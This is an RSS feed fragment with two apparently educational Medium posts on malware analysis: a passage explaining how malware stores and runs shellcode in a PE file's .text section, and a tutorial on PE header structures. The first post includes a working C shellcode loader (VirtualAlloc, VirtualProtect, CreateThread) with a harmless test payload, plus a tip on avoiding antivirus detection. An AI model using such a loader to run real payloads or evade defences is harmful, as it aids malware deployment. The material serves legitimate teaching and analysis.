            <content:encoded><![CDATA[<p>A malicious payload is usually stored within the Sections.</p><ul><li>.text</li><li>.data</li><li>.rsrc</li></ul><h3>.text</h3><p>This is the most common way to store payload in a PE file.<br> Here the malicious code is added into the main function of the program.</p><pre>#include&lt;stdio.h&gt;<br>#include&lt;windows.h&gt;<br>#include&lt;stdlib.h&gt;<br>#include&lt;string.h&gt;<br><br>int main(void)<br>{<br> void * Pmem;<br> BOOL Virtual_Protect_Return_Value;<br> HANDLE Handle_Return;<br> DWORD flprotect = 0;<br><br> unsigned char payload[] = {<br>  0x90, //NOP<br>  0xcc, //INT3<br>  0xc3  //RET<br> };<br> unsigned int payload_len = 4;<br><br> // Allocating Memory to Buffer for Payload<br> Pmem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> printf(&quot;%-20s : 0x%-016p\n&quot;, &quot;Payload Address &quot;, (void*)payload);<br> printf(&quot;%-20s : 0x%-016p\n&quot;, &quot;Pmem Address : &quot;, (void*)Pmem);<br><br> RtlMoveMemory(Pmem, payload, payload_len);<br><br> Virtual_Protect_Return_Value = VirtualProtect(Pmem, payload_len, PAGE_EXECUTE_READWRITE, &amp;flprotect);<br><br> printf(&quot;Press \n&quot;);<br><br> getchar();<br><br> if (Virtual_Protect_Return_Value != 0)<br> {<br>  Handle_Return = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Pmem, 0, 0, 0);<br>  WaitForSingleObject(Handle_Return, -1);<br> }<br><br> return 0;<br>}</pre><p>These headers are included for standard I/O functions, Windows API functions, and memory handling functions.</p><p>The main function begins here. It contains all the logic for memory allocation, protection, and execution.</p><p>Variable Declarations</p><ul><li>Pmem: Pointer to the allocated memory.</li><li>Virtual_Protect_Return_Value: Stores the return value of the VirtualProtect function.</li><li>Handle_Return: Stores the handle of the created thread.</li><li>flprotect: Stores the old protection attributes of the allocated memory.</li><li>payload: Array containing the machine code to be executed.</li><li>payload_len: Length of the payload (in this case, 4 bytes).</li></ul><p>Allocating Memory</p><ul><li>VirtualAlloc is used to allocate a region of memory with MEM_COMMIT and MEM_RESERVE flags, specifying PAGE_READWRITE protection.</li><li>The address of the payload and the allocated memory (Pmem) are printed.</li></ul><h3>Copying Payload to Allocated Memory</h3><ul><li>RtlMoveMemory copies the payload to the allocated memory.</li></ul><h3>Changing Memory Protection</h3><ul><li>VirtualProtect changes the protection of the allocated memory to PAGE_EXECUTE_READWRITE, allowing execution of the code.</li><li>The previous protection attributes are stored in flprotect.</li></ul><p>The program waits for user input before proceeding, giving time to attach a debugger if needed.</p><h3>Creating and Executing a Thread</h3><ul><li>If VirtualProtect succeeded, a thread is created with CreateThread, starting execution at the Pmem address.</li><li>WaitForSingleObject waits indefinitely for the created thread to complete.</li></ul><p>The reason for not giving all the permission of read, write and execute in VirtualAlloc as it is abnormal for programs and AV Engine will mark or suspend the program immediately.</p><h3>Debugger View</h3><p>Executing the executable and attaching the process to x32 debugger</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/0*a1b4Vo0cYnMPy1Qt.png" /></figure><p>The payload is executed in the memory here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/0*yFUh_AbzYu6G_c36.png" /></figure><h3>Conclusion</h3><p>This is how malwares store shellcodes in programs.<br>In real scenario the payload can be in different sections.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e1f6888e962" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PE File Format in]]></title>
            <link>https://medium.com/@yayharu/pe-file-format-in-39736407c9f4?source=rss-e338b633bd2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/39736407c9f4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[computer-science]]></category>
            <dc:creator><![CDATA[Harsh Upadhyay]]></dc:creator>
            <pubDate>Thu, 20 Jun 2024 06:40:19 GMT</pubDate>
            <atom:updated>2024-06-20T06:40:19.077Z</atom:updated>
            <content:encoded><![CDATA[<h3>PE File Format</h3><p>Portable Executable (PE) is the file format for executables on Windows. A few examples of PE file extensions are .exe, .dll, .sys and .scr.</p><p>The diagram below shows a simplified structure of a Portable Executable.<br> Every header shown in the image is defined as a data structure that holds information about the PE file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MvQi-ZbDsqYDZa5V.png" /></figure><p>This first header of a PE file is always prefixed with two bytes, 0x4D and 0x5A, commonly referred to as MZ.<br> These bytes represent the DOS header signature, which is used to confirm that the file being parsed or inspected is a valid PE file. The DOS header is a data structure, defined as follows:</p><pre>typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // Offset to the NT header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;</pre><p>The most important members of the struct are e_magic and e_lfanew.</p><p>e_magic is 2 bytes with a fixed value of 0x5A4D or MZ.</p><p>e_lfanew is a 4-byte value that holds an offset to the start of the NT Header. Note that e_lfanew is always located at an offset of 0x3C.</p><h4>DOS Stub</h4><p>Before moving on to the NT header structure, there is the DOS stub which is an error message that prints “This program cannot be run in DOS mode” in case the program is loaded in <a href="https://en.wikipedia.org/wiki/DOS">DOS mode</a> or “Disk Operating Mode”.<br> It is worth noting that the error message can be changed by the programmer at compile time. This is not a PE header, but it’s good to be aware of it.</p><h3>“This is not a PE header”</h3><p>When you encounter the phrase “this is not a PE header,” it typically indicates that the file being examined is not recognized as a valid PE file by tools that expect it. This can happen for several reasons:</p><ul><li><strong>Corruption</strong>: The file might be corrupted, leading to an invalid or missing PE header.</li><li><strong>Incorrect File Type</strong>: The file might not be a PE file at all (e.g., it could be a text file or an image).</li><li><strong>Obfuscation/Protection</strong>: The file might be intentionally obfuscated or protected to hide its true nature, making it difficult for tools to identify the PE header.</li></ul><p>The NT header is essential as it incorporates two other image headers: FileHeader and OptionalHeader, which include a large amount of information about the PE file.<br> Similarly to the DOS header, the NT header contains a signature member that is used to verify it. Usually, the signature element is equal to the &quot;PE&quot; string, which is represented by the 0x50 and 0x45 bytes.<br> But since the signature is of data type DWORD, the signature will be represented as 0x50450000, which is still &quot;PE&quot;, except that it is padded with two null bytes.<br> The NT header can be reached using the e_lfanew member inside of the DOS Header.</p><p>The NT header structure varies depending on the machine’s architecture.</p><p><strong>32-bit Version:</strong></p><pre>typedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader; } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;</pre><p><strong>64-bit Version:</strong></p><pre>typedef struct _IMAGE_NT_HEADERS64 { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER64 OptionalHeader; } IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;</pre><p>The only difference is the OptionalHeader data structure, IMAGE_OPTIONAL_HEADER32 and IMAGE_OPTIONAL_HEADER64.</p><p>Moving on to the next header, which can be accessed from the previous NT Header data structure</p><pre>typedef struct _IMAGE_FILE_HEADER { WORD Machine; WORD NumberOfSections; DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;</pre><p>The most important struct members are:</p><ul><li>NumberOfSections - The number of sections in the PE file (discussed below).</li><li>Characteristics - Flags that specify certain attributes about the executable file, such as whether it is a dynamic-link library (DLL) or a console application.</li><li>SizeOfOptionalHeader - The size of the following optional header</li></ul><p>Additional information about the file header can be found on the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header">official documentation page</a>.</p><p>The optional header is important and although it’s called “optional”, it’s essential for the execution of the PE file. It is referred to as optional because some file types do not have it.</p><p>The optional header has two versions, a version for 32-bit and 64-bit systems. Both versions have nearly identical members in their data structure with the main difference being the size of some members. ULONGLONG is used in the 64-bit version and DWORD in the 32-bit version. Additionally, the 32-bit version has some members which are not found in the 64-bit version.</p><p><strong>32-bit Version:</strong></p><pre>typedef struct _IMAGE_OPTIONAL_HEADER { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; DWORD BaseOfData; DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;</pre><p><strong>64-bit Version:</strong></p><pre>typedef struct _IMAGE_OPTIONAL_HEADER64 { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; ULONGLONG ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; ULONGLONG SizeOfStackReserve; ULONGLONG SizeOfStackCommit; ULONGLONG SizeOfHeapReserve; ULONGLONG SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;</pre><p>The optional header contains a ton of information that can be used. Below are some of the struct members that are commonly used:</p><ul><li>Magic - Describes the state of the image file (32 or 64-bit image)</li><li>MajorOperatingSystemVersion - The major version number of the required operating system (e.g. 11, 10)</li><li>MinorOperatingSystemVersion - The minor version number of the required operating system (e.g. 1511, 1507, 1607)</li><li>SizeOfCode - The size of the .text section</li><li>AddressOfEntryPoint - Offset to the entry point of the file (Typically the <em>main</em> function)</li><li>BaseOfCode - Offset to the start of the .text section</li><li>SizeOfImage - The size of the image file in bytes</li><li>ImageBase - It specifies the preferred address at which the application is to be loaded into memory when it is executed. However, due to Window&#39;s memory protection mechanisms like Address Space Layout Randomization (ASLR), it&#39;s rare to see an image mapped to its preferred address because the Windows PE Loader maps the file to a different address. This random allocation done by the Windows PE loader will cause issues in the implementation of future techniques because some addresses that are considered constant were changed. The Windows PE loader will then go through <em>PE relocation</em> to fix these addresses.</li><li>DataDirectory - One of the most important members in the optional header. This is an array of <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory">IMAGE_DATA_DIRECTORY</a>, which contains the directories in a PE file.</li></ul><p>Data Directory</p><p>The Data Directory can be accessed from the optional’s header last member. This is an array of data type IMAGE_DATA_DIRECTORY which has the following data structure:</p><pre>typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;</pre><p>The Data Directory array is of size IMAGE_NUMBEROF_DIRECTORY_ENTRIES which is a constant value of 16. Each element in the array represents a specific data directory which includes some data about a PE section or a Data Table (the place where specific information about the PE is saved).</p><p>A specific data directory can be accessed using its index in the array.</p><pre>#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor</pre><p>The two sections below will briefly mention two important data directories, the Export Directory and Import Address Table.</p><p>Export Directory</p><p>A PE’s export directory is a data structure that contains information about functions and variables that are exported from the executable. It contains the addresses of the exported functions and variables, which can be used by other executable files to access the functions and data. The export directory is generally found in DLLs that export functions (e.g. kernel32.dll exporting CreateFileA).</p><p>Import Address Table</p><p>The import address table is a data structure in a PE that contains information about the addresses of functions imported from other executable files. The addresses are used to access the functions and data in the other executables (e.g. Application.exe importing CreateFileA from kernel32.dll).</p><h4>PE Sections</h4><p>PE sections contain the code and data used to create an executable program. Each PE section is given a unique name and typically contains executable code, data, or resource information. There is no constant number of PE sections because different compilers can add, remove or merge sections depending on the configuration. Some sections can also be added later on manually, therefore it is dynamic and the IMAGE_FILE_HEADER.NumberOfSections helps determine that number.</p><p>The following PE sections are the most important ones and exist in almost every PE.</p><ul><li>.text - Contains the executable code which is the written code.</li><li>.data - Contains initialized data which are variables initialized in the code.</li><li>.rdata - Contains read-only data. These are constant variables prefixed with const.</li><li>.idata - Contains the import tables. These are tables of information related to the functions called using the code. This is used by the Windows PE Loader to determine which DLL files to load to the process, along with what functions are being used from each DLL.</li><li>.reloc - Contains information on how to fix up memory addresses so that the program can be loaded into memory without any errors.</li><li>.rsrc - Used to store resources such as icons and bitmaps</li></ul><p>Each PE section has an <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_section_header">IMAGE_SECTION_HEADER</a> data structure that contains valuable information about it. These structures are saved under the NT headers in a PE file and are stacked above each other where each structure represents a section.</p><p>Recall, the IMAGE_SECTION_HEADER structure is as follows:</p><pre>typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;</pre><p>looking at the elements, every single one is highly valuable and important:</p><ul><li>Name - The name of the section. (e.g. .text, .data, .rdata).</li><li>PhysicalAddress or VirtualSize - The size of the section when it is in memory.</li><li>VirtualAddress - Offset of the start of the section in memory.</li></ul><h3>Additional References</h3><p>In case further clarification is required on certain sections, the following blog posts on <a href="https://0xrick.github.io/">0xRick’s Blog</a> are highly recommended.</p><h3>Conclusion</h3><p>Understanding PE headers might be challenging the first time they are encountered. To make the malware perform more complex techniques, it will require a better understanding as some of the code requires parsing the PE file’s headers and sections. This is likely seen in advanced malware.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39736407c9f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>